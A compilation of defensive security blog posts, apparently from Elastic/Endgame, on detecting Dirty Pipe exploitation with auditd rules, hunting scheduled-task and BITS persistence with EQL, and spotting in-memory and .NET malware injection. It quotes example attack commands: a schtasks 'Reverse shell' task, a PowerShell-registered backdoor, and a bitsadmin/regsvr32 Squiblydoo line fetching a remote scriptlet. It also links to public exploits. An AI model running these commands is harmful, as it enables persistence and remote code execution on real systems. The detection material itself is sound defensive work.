Passwd overwrite: https://github.com/imfiver/CVE-2022-0847
Metasploit module: https://github.com/rapid7/metasploit-framework/pull/16303

Finding systems vulnerable to Dirty Pipe

Beyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.

Using the Elastic Security Integration

If you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:

Using the Osquery Manager Integration

Additionally, you can use the Osquery Manager integration to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations → Osquery Manager → Add Osquery Manager). Once you’ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.

Detecting CVE-2022-0847 exploitation using Auditd

Auditd is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.

Auditd rules

Auditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.

Once you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.

Dirty Pipe Auditd rules

-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe

The aforementioned rules were adapted by Elastic Security from initial findings by Jonas LeJon.

Linux Auditing System event collection with Elastic

There are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.

Remember, if you’re using the Auditd integrations for the Elastic Agent or Filebeat, you’ll need to create the Auditd rules described above.

The Elastic Agent w/Auditd Integration

The Elastic Agent with the Auditd Integration allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations → Auditd → Add Auditd).

Once this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.

You can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : "auditd.log".

Auditbeat

You can use the Auditbeat Auditd module to collect the Linux Audit Framework logs. To do this, install Auditbeat. You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.

Stopping and disabling Auditd

sudo service auditd.service stop
sudo chkconfig auditd.service off

Edit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.

Adding Dirty Pipe detection rules to the Auditbeat configuration file

# ===== Modules configuration =====

auditbeat.modules:

* module: auditd

# Load audit rules from separate files. Same format as audit.rules(7)

  audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ]
  audit_rules: |

## Define audit rules here

## Create file watches (-w) or syscall audits (-a or -A). Uncomment these

## examples or add your own rules

    -a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe

…truncated…

Check the configuration and connectivity of Auditbeat using the test commands.

Testing the Auditbeat configuration and output settings

sudo auditbeat test config
sudo auditbeat test output

Run the Auditbeat setup command using sudo auditbeat setup.

Start Auditbeat using sudo systemctl start auditbeat.service.

Now you should be able to verify events are being populated in the auditbeat-* Data View within Kibana.

Filebeat

You can use the Auditd module for Filebeat to collect the Auditd logs as well. To do this, install Filebeat and then enable the Auditd module

sudo filebeat modules enable auditd

Next, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.

Enabling Auditd log in the Filebeat configuration file

sudo vi /etc/filebeat/modules.d/auditd.yml

# Module: auditd

# Docs: 

* module: auditd
  log:
    enabled: true

# Set custom paths for the log files. If left empty

# Filebeat will choose the paths depending on your OS

    #var.paths:

Testing the Filebeat configuration and output settings

sudo filebeat test config
sudo filebeat test output

Run the Filebeat setup command using sudo filebeat setup.

Start Filebeat using sudo systemctl start filebeat.service.

Detecting Dirty Pipe with Elastic

Now that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana’s Security → Timelines → New Timeline → Correlation query editor.

Hunt queries in Kibana

KQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:

KQL query to detect Dirty Pipe exploitation attempts

auditd.log.key : dirtypipe and process.name : *

EQL query compatible with using the Auditbeat:

EQL query to detect Dirty Pipe exploitation attempts

process where tags : "dirtypipe" and not process.name : ""

Detection Engine alerts

You can also create a Detection Engine alert to monitor for exploitation attempts.

Exploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.

Respond to Observed Threats

Elastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.

Defense in Depth Recommendations

The following steps can be leveraged to improve a network’s protective posture:

Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS’
Review and implement the above detection logic within your environment using technology described in the post
Maintain backups of your critical systems to aid in quick recovery

References

The following research was referenced throughout the document:

Exploit CVE reference: CVE-2022-0847
Write-up using eBPF for some detections: https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig
Original Max Kellermann write-up: https://dirtypipe.cm4all.com/
SUID shell: https://haxx.in/files/dirtypipez.c
Passwd overwrite: https://github.com/liamg/traitor
Passwd overwrite: https://github.com/imfiver/CVE-2022-0847
Metasploit module: https://github.com/rapid7/metasploit-framework/pull/16303
Original Auditd detection logic: https://twitter.com/jonasl/status/1501840914381258756?s=20&t=MIWwwXpl5t0JiopVxX5M5Q

Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 2)

Brent Murphy,David French,Elastic Security Intelligence & Analytics Team — Tue, 21 Jun 2022 00:00:00 GMT

In Part 2 of this two-part series, our goal is to provide security practitioners with better visibility, knowledge, and capabilities relative to malicious persistence techniques that impact organizations around the world every day.

Part 1 explained what persistence is and why attackers need it. It introduced the Event Query Language (EQL) before showing its practical use cases for threat hunting. Finally, it examined a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (T1084). We shared how Elastic Security users can hunt for and detect this technique being used in their environment.

In this post, we’ll explore two additional persistence techniques that are being used by attackers in the wild: Scheduled Tasks (T1053) and BITS Jobs (T1197). This blog assumes you've already learned a little EQL as we walk through real-world examples and provide ready-to-use detection logic for each technique.

Persistence via scheduled tasks (T1053)

Windows provides a built-in utility called schtasks.exe that allows you to create, delete, change, run, and end tasks on a local or remote computer. Scheduled tasks run at an elevated privilege level, which means this persistence mechanism can indirectly satisfy privilege escalation (TA0004) as well. It’s important to be aware of scheduled tasks that exist in your environment (such as maintenance or backup tasks) as well as tasks created during the installation of new software (like PDF readers or browsers). It's also essential for security teams to baseline their environment, as knowing all the legitimate ways that scheduled tasks are used will help you become a more effective hunter and identify anomalies more quickly.

An adversary may attempt to abuse scheduled tasks to execute programs at startup or on a regular cadence for persistence. Threat actors like APT34, APT29, and FIN6 have been known to use scheduled tasks as a means to persist. Figure 1 depicts some of the command line parameters available to schtasks.exe, which we can use as references when analyzing task creation events.

/Create - creates a new scheduled task
/RU - specifies the "run as" user account
/SC - specifies the schedule frequency
/TN - specifies the string in the form of path\name which uniquely identifies this scheduled task
/TR - specifies the path and file name of the program to be run at the scheduled time
/MO - specifies how often the task runs within its schedule type
/F - forcefully creates the task and suppresses warnings if the specified task already exists

Figure 1 - Portion of Windows schtasks.exe available command line parameters

Figure 2 shows an example of a schtasks.exe command. This example is from the popular Living Off The Land Binaries and Scripts (LOLBAS) project that demonstrates how built-in, trusted Operating System utilities can be abused by adversaries to achieve their objectives. By looking at the command line parameters in the example, the task named Reverse Shell is configured to execute the binary C:\some\directory\revshell.exe every minute.

schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe

Figure 2 - Example of scheduled task creation using schtasks.exe

Windows PowerShell also includes several ScheduledTasks cmdlets that can be used to create and manage scheduled tasks on Windows endpoints. Security teams can hunt for suspicious usage of these cmdlets including the ones listed in Figure 3. Organizations that have already deployed PowerShell 5.0 should consider monitoring suspicious script block logging events, Event ID 4104. A good resource on PowerShell visibility and recommended log sources to monitor can be found here.

New-ScheduledTaskAction - creates a scheduled task action
New-ScheduledTaskTrigger - creates a scheduled task trigger object
Register-ScheduledTask - registers a scheduled task definition on a local computer

Figure 3 - Common PowerShell cmdlets for scheduled task creations

Figure 4 shows how these PowerShell cmdlets can be used to create and register a scheduled task.

PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\> Register-ScheduledTask Backdoor -InputObject $D

Figure 4 - PowerShell cmdlets being used to create and register a scheduled task

Real-world example: APT34 scheduled tasks abuse

As mentioned previously, APT34, a highly organized and technical state-sponsored threat group, is known to use scheduled tasks for persistence. The following visualization (Figure 5) depicts one of the ways a scheduled task can be used. In this case, we’re seeing the result of a victim opening a phishing lure (Step 1) — attributed to the APT34 threat group — via the Resolver view. Resolver is a critical enabler for security practitioners, as discussed in Part 1. In this example, the following behaviors can be observed:

A malicious macro, embedded within a Microsoft Word document, was opened (Step 2)
Upon opening the Word document and executing the malicious macro, the native Windows script interpreter (wscript.exe) executed a script introduced by the adversary (Step 3)
The script created a callback to C2 while also establishing persistence via a scheduled task (Step 4)

Figure 6 depicts the command line arguments parsed from the malicious scheduled task. Every minute, the native Windows Script Host utility, wscript.exe, will execute the malicious VBScript file, AppPool.vbs, which resides in the ProgramData subdirectory.

Hunting for scheduled tasks

With an understanding of the technique, observable artifacts, and common attributes of schtasks.exe execution, we're better prepared to succeed in our hunt for malicious scheduled task creation events. The EQL query in Figure 7 matches event sequences where the task scheduler process, schtasks.exe, is created by one of several commonly abused binaries and matches some of the command line parameters previously described. By uniquing on the command line, this allows us to focus our hunt on unique task creations and their properties.

This query matches behaviors described in our earlier APT34 example, in which schtasks.exe descended from wscript.exe. Windows script host (WSH) is a script interpreter and should generally not have many descendants. In this case, it indicates that WSH was used to interpret a JScript or VBScript object that directly or by proxy implemented a scheduled task using schtasks.exe. This EQL query can also be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time this activity occurs.

process where subtype.create and
 process_name == "schtasks.exe" and
  descendant of
   [process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
    "wmic.exe", "mshta.exe","powershell.exe")] and
   command_line == "* /create*" and
   wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line

Figure 7 - EQL query to search for the creation of schtasks.exe as a descendant of commonly abused processes

In Elastic SIEM, we can search for the use of the scheduled tasks utility and drag and drop fields of interest into the responsive Timeline (Figure 8) for further investigation. Data from multiple indices, or data sources, can be added to the Timeline view, which enables analysts to organize leads and investigate complex threats. Version 7.6 introduced a detection engine that included 92 out-of-the-box rules for detection in Windows, Linux, network, and APM telemetry — as well as enabling users to create their own custom rules.

Other scheduled task considerations

Scheduled tasks may not seem sophisticated, but they are a great example of how hunters must understand the various ways that an adversary can schedule a task on a system. When shallowly monitoring a technique (i.e., only looking for use of schtasks.exe), a team can easily lull itself into a false sense of security. Understanding adversary tradecraft and having access to the relevant telemetry is crucial for successful threat hunting.

It’s important to note that there are many other ways scheduled tasks can be abused by adversaries, including offensive security tools, custom scripts, .job files, the AT command, and directly via the Task Scheduler API. Elastic Security provides detections and preventions for various TTPs related to scheduled task abuse and provides API-level visibility.

In the next section, we’ll analyze BITS jobs, how they are used by attackers in the wild, and a variety of methods to identify or detect this technique.

Persistence via BITS jobs (T1197)

Windows Background Intelligent Transfer Service (BITS) is a built-in framework used to transfer files to and from web and SMB servers. Microsoft provides a utility called bitsadmin.exe and PowerShell cmdlets for managing the transfer of files.

Microsoft uses BITS to download and install updates in the background — using idle bandwidth. For example, if a user starts a Windows Update and signs out of the computer, or if a network connection is lost, BITS will resume the download automatically as soon as it is able. The capability to survive reboots makes it an ideal tool for attackers to transfer malicious files and possibly large volumes of data the actor plans to steal. Threat groups like APT40 and malware families such as the Qbot banking trojan have used BITS to transfer malicious files and set up persistence.

Figure 9 shows some parameters that can be used with bitsadmin.exe. We can identify interesting activity by focusing on creation and transfer command line options.

/create - creates a transfer job with the given display name
/addfile - adds a file to the specified job
/resume - activates a new or suspended job in the transfer queue
/transfer - transfers one or more files
/SetNotifyCmdLine - sets the command that will run when the job finishes transferring data or when a job enters a state
/SetMinRetryDelay - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file

Figure 9 - Parameters that can be used with the Windows bitsadmin.exe utility

Figure 10 shows an example of how the above parameters can be used to create a BITS job. The below example from the bitsadminexec project demonstrates how bitsadmin.exe can be used to execute the Squiblydoo technique, discovered by Casey Smith. Squiblydoo utilizes regsvr32.exe to download an XML file that contains scriptlets for executing code on the victim machine. This sample executes calc.exe, but it’s a good use case for how this could be used maliciously:

# create backdoor
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

Figure 10 - Example of using bitsadmin.exe to execute Squiblydoo

Since BITS version 4.0 (standard in Windows Server 2008 R2 and Windows 7), PowerShell cmdlets can also be used to create and manage file transfer jobs. The PowerShell cmdlets for BITS provide much of the same functionality as the bitsadmin.exe command line utility, a subset of which are depicted in Figure 11:

Add-BitsFile - add one or more files to a BITS transfer
Resume-BitsTransfer - resumes a suspended BITS transfer job
Set-BitsTransfer - modifies the properties of a BITS transfer job
Start-BitsTransfer - create and start a BITS transfer job

Figure 11 - Common PowerShell cmdlets for BITS

A good cmdlet to monitor is Start-BitsTransfer. The local and remote names of the file are specified in the Source and Destination parameters. This can be depicted as seen in Figure 12. As stated previously, analysts should monitor suspicious script block logging events, Event ID 4104, in the Microsoft-Windows-PowerShell/Operational log.

Hunting for malicious BITS jobs

The EQL query in Figure 13 demonstrates some of the command line arguments you might see while hunting for malicious use of bitsadmin.exe. The query searches for a process creation event for the bitsadmin.exe binary and the common command line parameters associated with the creation or transfer of a BITS job, and returns unique results based on the command line value. Focusing on unique results while hunting allows us to narrow our focus and more easily spot anomalous activity.

process where subtype.create and
  process_name == "bitsadmin.exe" and
  wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
                        "*SetMinRetryDelay*", "*Resume*")
| unique command_line

Figure 13 - EQL query looking for common bitsadmin.exe command line parameters

Additionally, during rule creation, you have the option to enable a "Reflex Response." With “Reflex Response,” if such behavior defined in a custom rule is detected, it uses Endpoint Security’s unique telemetry-gathering and enrichment to execute an automated response before damage and loss can occur (Figure 14). This functionality enables analysts to take action to stop the malicious behavior and then investigate the events that led up to and occurred after the threat, as opposed to investigating a current threat that may be past the point of remediation.

Executing an EQL hunt in the Endpoint Security product using the EQL query from above can lead to finding real-world campaigns like Qbot, shown in Figure 15.

Real-world example: Qbot malware

QBot is a widely distributed banking Trojan that is capable of self-replication and has historically relied on PowerShell. Recently, however, it may have been abandoned in favor of bitsadmin.exe — an application unlikely to be scrutinized as aggressively.

This variant utilizes a .vbs dropper by masquerading as a .doc file, as Windows still hides the original filename extension by default. Upon execution, in this case via the parent process wscript.exe, the malware spawns bitsadmin.exe to create a transfer job that downloads a subsequent payload, shown in the Timeline view in the SIEM app (Figure 16).

Analyzing the process.args field values as depicted in Figure 17 reveals that the malware takes the following actions:

Creates a randomly named transfer job with high priority
Uses bitsadmin.exe to download its second stage payload from a command & control (C2) server (Note that widgetcontrol.png is actually a Windows executable)
Base64 encodes data on the endpoint’s operating system version and antivirus software, which it passes back to C2 in the beacon URI
Randomizes the name of the payload and writes it to a subfolder of the %AppData% path

This example showcases how bitsadmin.exe can be used by threat actors to attempt to bypass traditional defenses by using a less common, built-in utility. This application is effectively used by threat actors for transferring files and maintaining a presence in a victim environment.

Others BITS and pieces

The Microsoft_Windows_Bits_Cient Operational.evtx log file is a native Microsoft event log. It records every operation executed by the BITS client, either via bitsadmin.exe or PowerShell. Within that log store, Event ID 3 is used when The BITS service creates a new job. Winlogbeat can be configured to monitor that event.provider as shown in Figure 18. Elastic Security provides telemetry, detections, and threat hunting capabilities for BITS abuse at enterprise scale.

Conclusion

In this blog series, we examined popular techniques that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.

Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM — along with the protections provided out of the box — lower the barriers to entry for analysts, provides detailed visibility into endpoint activity, and enables organizations to prevent, detect, and respond to malicious behavior at scale.

Try Elastic SIEM for free today. To learn more about threat hunting, download a free copy of The Elastic Guide to Threat Hunting.

View our webinar on Hunting for persistence using Elastic Security.

Plus, EQL support is being added to Elasticsearch!

Hunting In Memory

Joe Desimone — Tue, 21 Jun 2022 00:00:00 GMT

Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack lifecycle. To be successful, hunters must continually hone their subject matter expertise on the latest attacker techniques and detection methods. Memory resident malware, which presents itself in many forms, is an attacker technique that has existed for over a decade. The popularity of memory resident malware has steadily increased over time, possibly resulting from the proliferation of code and knowledge of in memory techniques. More likely, its popularity reflects the success of memory-based techniques to evade detection by security products and practitioners. Once limited to advanced adversaries, memory resident techniques are now commonplace for all levels of adversary sophistication. I will examine the most common of these memory based attacker techniques, and walk through our team’s research to craft a scalable, low noise approach to hunting for adversaries that are hiding in memory.

Attacker Techniques

Before I address memory hunting methods to detect adversaries in your network, it is helpful to understand the common forms of memory resident malware. These techniques include shellcode injection, reflective DLL injection, memory module, process and module hollowing, and Gargoyle (ROP/APC).

SHELLCODE INJECTION

Shellcode injection is the most basic in-memory technique and has also been around the longest. The basic ‘recipe’ for shellcode injection is a four step process. These steps are: 1) open a target process (OpenProcess); 2) allocate a chunk of memory in the process (VirtualAllocEx); 3) write the shellcode payload to the newly allocated section (WriteProcessMemory); and 4) create a new thread in the remote process to execute the shellcode (CreateRemoteThread). The venerable Poison Ivy malware uses this technique, which is a big reason why so many APT groups were drawn to it over the years.

If you pull up a Poison Ivy samplewith x64dbg and set a breakpoint on VirtualAllocEx, you will soon locate the chunk of code responsible for the injection.

In the first image, the push 40 instruction preceding the call to VirtualAllocEx corresponds to page access protection value of PAGE_EXECUTE_READWRITE. In the following screenshot from ProcessHacker of the memory layout of a Poison Ivy implant, you can see it allocates a number of these RWX sections.

Typical code sections are of type ‘Image’ and map to a file on disk. However, these are type ‘Private’ and do not map to a file on disk. They are therefore referred to as unbacked executable sections or floating code. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity. ProcessHacker can also show you the call stack of the malware threads. There are multiple functions in the call stack which do not map to memory associated with loaded modules.

REFLECTIVE DLL INJECTION

Reflective DLL injection, originally developed by Steven Fewer, is another type of in memory attacker technique. Metasploit’s Meterperter payload was one of the first attempts to fully weaponize the technique, but many malware families use it today. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window’s loader. The injection process is identical to shellcode injection, except the shellcode is replaced with a self-mapping DLL. The self-mapping component added to the DLL is responsible for resolving import addresses, fixing relocations, and calling the DllMain function. Attackers benefit from the ability to code in higher level languages like C/C++ instead of assembly.

Classic reflective DLL injection, such as that used by Meterpreter, is easy for hunters to find. It leaves large RWX memory sections in the process, even when the meterpreter session is closed. The start of these unbacked executable memory sections contain the full MZ/PE header, as shown in the images below. However, keep in mind that other reflective DLL implementations could wipe the headers and fix the memory leak.

The DLLs loaded in memory also conveniently export a self-describing function called ReflectiveLoader().

MEMORY MODULE

Memory module is another memory resident attacker technique. It is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. Essentially, the memory module loader re-implements the LoadLibrary function, but it works on a buffer in memory instead of a file on disk. The original implementation was designed for mapping in the current process, but updated techniques can map the module into remote processes. Most implementations respect the section permissions of the target DLL and avoid the noisy RWX approach.

NetTraveler is one malware family that uses a memory module style technique. When NetTraveler starts, it unpacks the core functionality and maps it into memory. The page permissions more closely resemble a legitimate DLL, however the memory regions are still private as opposed to image.

The active threads have start addresses at these private regions. The callstack also reveals these malicious sections.

Winnti is yet another malware sample that uses the Memory Module technique. They had a minor slip on the section permissions of the first page, as you can see below.

However, the Winnti sample was notable because the MZ/PE headers in the DLL were erased, making it more difficult to detect.

PROCESS HOLLOWING

Process hollowing is another technique attackers use to prevent their malware from being detected by security products and hunters. It involves creating a suspended process, unmapping (hollowing) the original executable from the process, allocating and writing a new payload to the process, redirecting the execution of the original thread to the new payload with SetThreadContext, and finally calling ResumeThread to complete. More stealthy variants use Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry point with a jump instead of using SetThreadContext.

DarkComet is one of many malware families that use process hollowing techniques. Several artifacts can be used to detect process hollowing. One dead giveaway for this activity is a process being spawned with the CREATE_SUSPENDED flag, as shown in the following screenshot from a DarkComet sample.

MODULE OVERWRITING

So far, all techniques discussed have led to the execution of non-image backed code, and were therefore fairly straightforward to detect. Module overwriting, on the other hand, avoids this requirement, making it much more difficult to detect. This technique consists of mapping an unused module into a target process and then overwriting the module with its own payload. Flame was the first widely publicized malware family to use this technique. More recently, Careto and Odinaff malware families have used module overwriting techniques. Various techniques can be used to reliably detect module overwriting, which involves comparing memory to associated data on disk.

GARGOYLE

Gargoyle is a proof of concept technique for memory resident malware that can evade detection from many security products. It accomplishes this feat by laying dormant with read-only page protections. It then periodically wakes up, using an asynchronous procedure call, and executes a ROP chain to mark its payload as executable before jumping to it. After the payload finishes executing, Gargoyle again masks its page permissions and goes back to sleep. One way to detect this attacker technique is to examine threads and user APCs for evidence of ROP chains.

Detecting In-Memory Attacks

Given the proliferation and accessibility of these techniques, security personnel must be vigilant for memory-based attacker techniques and proactively hunt for them on their networks. However, most products cannot generically detect in-memory attacks at scale, leaving defenders with an enormous gap in their ability to protect against these attacks. Endgame has done significant research to bring low-noise detection capabilities into our product for each method mentioned above.

Given the immense size and impact of this detection gap, it is important to raise all boats, not just those of our customers. For this reason, we collaborated with Jared Atkinson on his powershell tool called Get-InjectedThreads, which implements a relatively low-noise method of detecting in memory threats. It scans active threads on the system for suspicious start addresses. Hunters leverage it to scan hosts in their networks and quickly identify many memory resident malware techniques. The script works by querying each active thread with the NtQueryInformationThread function to retrieve its start address. The start address is then queried with the VirtualQueryEx function to determine the associated section properties. If the memory region where the thread started is unbacked and executable (i.e. not image type and has execute bit set), then the thread is considered injected. The following screenshot shows a sample detection when run on a system infected with a 9002 RAT sample.

The script will catch a variety of malware families leveraging the shellcode injection, reflective DLL, memory module, and some process hollowing techniques. However, it is no replacement for security products that comprehensively prevent in-memory attacks, such as Endgame.

Enterprise In-Memory Detection at Scale

Endgame has built detections for each of these techniques (and many more) into our enterprise security platform, offering best in market capabilities to locate in-memory threats. We do not simply rely on naïve approaches like monitoring well-known system call sequences for process injection, but efficiently analyze memory to find all known evasion capabilities. This provides our users with thread-level visibility on injected code, as well as sophisticated follow-on actions like examining the injected code and suspending only a malicious injected thread to remediate the threat. Our platform is effective both in stopping injection as it is happening in real time as well as locating already resident adversaries hiding in memory, locating threats across tens of thousands of hosts in seconds.

Like any signatureless detection technique, false positives (FPs) are an important consideration. As we researched and implemented our technique-based preventions for each adversary technique described above, we initially encountered FPs at every step of the way. Handling these correctly in our product is of paramount importance.

Most FPs are related to security software, Just-In-Time (JIT) compiled code, or DRM protected/packed applications. Security products sometimes inject code to some or all processes on the system to enhance their behavioral detection capabilities. The downside is if the product is sloppy in its methods, it can actually harm the security of the system and make hunting for real in memory threats more difficult. JIT code, another potential area for false positives, generates assembly code at runtime which lives in unbacked or floating memory regions. .NET or Java applications are a couple of examples which use JIT techniques. Fortunately, this type of code is easier to identify and filter than rogue security products. Lastly, applications packed or protected with Digital Rights Management (DRM) schemes should be kept in mind. These applications may decrypt or deobfuscate their core functionality in memory to deter debugging and reverse engineering. However, the same techniques are used by malware to evade detection and deter analysis from security practitioners.

Through careful design decisions and extensive testing, we have managed to achieve very low false positive rates, allowing Endgame users to root out in-memory threats rapidly.

Conclusion

Adversaries will continue to innovate new techniques to avoid detection and accomplish their objectives. Memory resident techniques are no exception, and have been a thorn in the side of endpoint security defenders for over a decade. Fortunately, by understanding the latest techniques, we can turn the tables and use this knowledge to develop new high fidelity detection methods. At Endgame, our comprehensive approach to these attacks have led us to a market leading position for fileless attack detection (adding to our other key technologies). For more on hunting for in-memory attacks, check out our slides from our SANS Threat Hunting and IR Summit presentation.

Hunting For In-Memory .NET Attacks

Joe Desimone — Tue, 21 Jun 2022 00:00:00 GMT

In past blog posts, we shared our approach to hunting for traditional in-memory attacks along with in-depth analysis of many injection techniques. As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection. I’ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks.

The .NET Allure

Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the .NET framework comes pre-installed in all Windows versions. This is important as it enables the attackers’ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly complicated. Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don’t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the Assembly.Load(byte[]) function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like Device Guard. This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports.

.NET Attacker Techniques

Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months, there has been a noticeable uptick in tradecraft, which I’ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was observed using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the OilRig APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as ISMAgent.

A third example, more familiar to red teams, is ReflectivePick by Justin Warner and Lee Christensen. ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool.

It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, Matt Graeber discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient “forever-day exploit” against hosts that are hardened with application whitelisting.

Casey Smith also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker-supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed.

Finally, James Forshaw developed the DotNetToJScript technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestingly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James demonstrated how to combine DotNetToJScript with com hijacking and Casey’s squiblydoo technique to inject code into protected processes. In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands.

The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is Oddvar Moe’s UltimateAppLockerByPassList, and another is Microsoft’s own reference.

Detecting .NET Attacks

As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let’s explore two approaches to detecting these attacks: on-demand and real-time-based techniques.

On-demand detection

